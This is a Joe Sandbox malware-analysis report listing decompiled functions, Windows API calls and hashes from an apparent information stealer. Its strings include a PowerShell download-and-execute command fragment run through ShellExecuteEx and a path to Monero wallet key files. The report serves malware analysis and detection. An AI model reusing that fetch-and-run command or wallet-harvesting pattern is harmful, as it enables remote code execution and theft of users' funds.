Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: e0b5e1fac2b861129e7abe8a037fb76c978f58321743746ce1ea4fd5b871c3fb
Instruction ID: cea5e1b8ad5f5f1ca015e30f82c0196c534ca68ae8d43a1ec27ac8c4c38d3abb
Opcode Fuzzy Hash: e0b5e1fac2b861129e7abe8a037fb76c978f58321743746ce1ea4fd5b871c3fb
Instruction Fuzzy Hash: 9931F6B4A0030AEFDB14CF94D985BAE7BB5FF49340F108158E912A7390D779AA41CFA1

Function 00534780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00F1E620), ref: 005347DB

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 00534801
lstrcat.KERNEL32(?,?), ref: 00534820
lstrcat.KERNEL32(?,?), ref: 00534834
lstrcat.KERNEL32(?,00F0BA18), ref: 00534847
lstrcat.KERNEL32(?,?), ref: 0053485B
lstrcat.KERNEL32(?,00F1DD00), ref: 0053486F

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 00538D90: GetFileAttributesA.KERNEL32(00000000,?,00521B54,?,?,0054564C,?,?,00540E1F), ref: 00538D9F

Part of subcall function 00534570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00534580
Part of subcall function 00534570: RtlAllocateHeap.NTDLL(00000000), ref: 00534587
Part of subcall function 00534570: wsprintfA.USER32 ref: 005345A6
Part of subcall function 00534570: FindFirstFileA.KERNEL32(?,?), ref: 005345BD

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: aabb77132c2b39c38188414510cc63b6700d378ead746f112aa5759026f6c54a
Instruction ID: d3669d0de800f33407bb4faeafc2589681ddb650e3542f3b99ad5239c030e69c
Opcode Fuzzy Hash: aabb77132c2b39c38188414510cc63b6700d378ead746f112aa5759026f6c54a
Instruction Fuzzy Hash: E13152B290031967CB15F7B0DC89EED777CBB98700F404589B356A6081EEB4E6898F95

Function 00532C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

ShellExecuteEx.SHELL32(0000003C), ref: 00532D85

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00532D04
')", xrefs: 00532CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00532CC4
<, xrefs: 00532D39

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 610f82fb97dac79e52c7fae4d070780ab9895b85e113044212ec6eb4fbc48c8e
Instruction ID: 4f44a34fc5773282638284fee69b1729fe1652c26ca508964681ee690bd75723
Opcode Fuzzy Hash: 610f82fb97dac79e52c7fae4d070780ab9895b85e113044212ec6eb4fbc48c8e
Instruction Fuzzy Hash: CC41BE71C10209AADB14EFA0C89ABEDBF78BF54300F504119F156B7192EF746A4ACF92

Function 00529E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00529F41

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Strings

v10, xrefs: 00529EA3
v20, xrefs: 00529E21
ERROR_RUN_EXTRACTOR, xrefs: 00529E67
@, xrefs: 00529EF1

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 3e5da4673ef2e507b728aff89dd0c2809efce9518ae7224680abb54a8f4c34dc
Instruction ID: af849567e1212cef672594ffceb929b88b00993a5a7b5455fe150580f2aeb5a5
Opcode Fuzzy Hash: 3e5da4673ef2e507b728aff89dd0c2809efce9518ae7224680abb54a8f4c34dc
Instruction Fuzzy Hash: EC614F70A00259ABDB24EFA4DC9AFEE7B75BF85304F008018F90A5B1D1EB746A05CB52

Function 005340B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00F1DA60,00000000,00020119,?), ref: 005340F4
RegQueryValueExA.ADVAPI32(?,00F1E4A0,00000000,00000000,00000000,000000FF), ref: 00534118
RegCloseKey.ADVAPI32(?), ref: 00534122
lstrcat.KERNEL32(?,00000000), ref: 00534147
lstrcat.KERNEL32(?,00F1E4B8), ref: 0053415B

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: b08a1a7e173fffb7e48f3dd64265ea08af23bdecdccb4407394d4dd0c7de3bd0
Instruction ID: 700298dc65e6c624866b10232899529fa00ade3398a91f28dbb78099acfe8a58
Opcode Fuzzy Hash: b08a1a7e173fffb7e48f3dd64265ea08af23bdecdccb4407394d4dd0c7de3bd0
Instruction Fuzzy Hash: 2F418D7690020877DB14EBA0EC5AFFE773DBB98300F008558F61657181EAB55B888FD2

Function 00537E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537E37
RtlAllocateHeap.NTDLL(00000000), ref: 00537E3E
RegOpenKeyExA.ADVAPI32(80000002,00F0C3C8,00000000,00020119,?), ref: 00537E5E
RegQueryValueExA.ADVAPI32(?,00F1DC20,00000000,00000000,000000FF,000000FF), ref: 00537E7F
RegCloseKey.ADVAPI32(?), ref: 00537E92

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 8750340f131db29ff05ba73a426176cc9528aab7b98ec55ca404cc140f47e7fe
Instruction ID: 29f49c572d9e0fb03b67c44665cd778e5edaa5b8942994ed82331821c1c82fa7
Opcode Fuzzy Hash: 8750340f131db29ff05ba73a426176cc9528aab7b98ec55ca404cc140f47e7fe
Instruction Fuzzy Hash: 40113DB1A44309BBDB14CB94DD49FABBBBCFB48B10F108159F606A7280D7B858009FA1

Function 00539260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00F1E1E8,?,?,?,0053140C,?,00F1E1E8,00000000), ref: 0053926C
lstrcpyn.KERNEL32(0076AB88,00F1E1E8,00F1E1E8,?,0053140C,?,00F1E1E8), ref: 00539290
lstrlen.KERNEL32(?,?,0053140C,?,00F1E1E8), ref: 005392A7
wsprintfA.USER32 ref: 005392C7

Strings

%s%s, xrefs: 005392B5

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 4f89332ec70f91840d2adef9f08b91141a13feb3e8fef4383651a57acc5f314f
Instruction ID: 9415adac959316528316ca7188b7f6ccba36e93e7b11e11a649af5f9cd03f993
Opcode Fuzzy Hash: 4f89332ec70f91840d2adef9f08b91141a13feb3e8fef4383651a57acc5f314f
Instruction Fuzzy Hash: 5401DEB5500208FFCB04DFECC984EAE7BB9FB44354F148558F90AAB244C675AA40DF95

Function 005212A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005212B4
RtlAllocateHeap.NTDLL(00000000), ref: 005212BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 005212D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005212F5
RegCloseKey.ADVAPI32(?), ref: 005212FF

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 8a085748b40f0ee4be7178f5efad3e075f20b5845f79956b15b3693020231b98
Instruction ID: b37fc5b15d0e999e6f45ded1d051b30bdec200a72328f6500a39d46327f6e8b1
Opcode Fuzzy Hash: 8a085748b40f0ee4be7178f5efad3e075f20b5845f79956b15b3693020231b98
Instruction Fuzzy Hash: A701E6B9A40309BBDB14DFE4DC49FAEB7B8EB48701F108155FA06A7280D6B5AA018F55

Function 0053C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0053C8EC
___crtLCMapStringA.LIBCMT ref: 0053C90C
___crtLCMapStringA.LIBCMT ref: 0053C931

Strings

, xrefs: 0053C896

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 0060a1afd0e852eae6d7b5916d150ee42afd7a97d430f2c5c2e9b706b2582a17
Instruction ID: 1f32334ff814eb0c4b94ae8e97374ebf72b3284763ec7298700e998f43d29e70
Opcode Fuzzy Hash: 0060a1afd0e852eae6d7b5916d150ee42afd7a97d430f2c5c2e9b706b2582a17
Instruction Fuzzy Hash: 8041C6B250075C5EDB218B248D85FFBBFF9BB45704F1448E8E98A96182D271AA44DF60

Function 00536630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00536663

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

ShellExecuteEx.SHELL32(0000003C), ref: 00536726
ExitProcess.KERNEL32 ref: 00536755

Strings

<, xrefs: 005366D9

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 5ac6609f9eb577b97e9871431edcd233640032efe043aa7419e59daed6e0a618
Instruction ID: 2232346fb0ba784c9f1fd22354aeca958608c1d9dd7010b79502bb82b35cd285
Opcode Fuzzy Hash: 5ac6609f9eb577b97e9871431edcd233640032efe043aa7419e59daed6e0a618
Instruction Fuzzy Hash: 1431FDB2801219ABDB14EB50DC95BDDBB78BF84300F404199F21676191DF746B49CF5A

Function 005387C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00540E28,00000000,?), ref: 0053882F
RtlAllocateHeap.NTDLL(00000000), ref: 00538836
wsprintfA.USER32 ref: 00538850

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Strings

%dx%d, xrefs: 00538847

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 35e2df741408b1b9c08ffcddffd7a15bd6b82e5cc57fed77700b22d7d64d72df
Instruction ID: ea5c4a739bf11966088240ef6c1fa1e570c635b48be208971d3ae7b63ebb0740
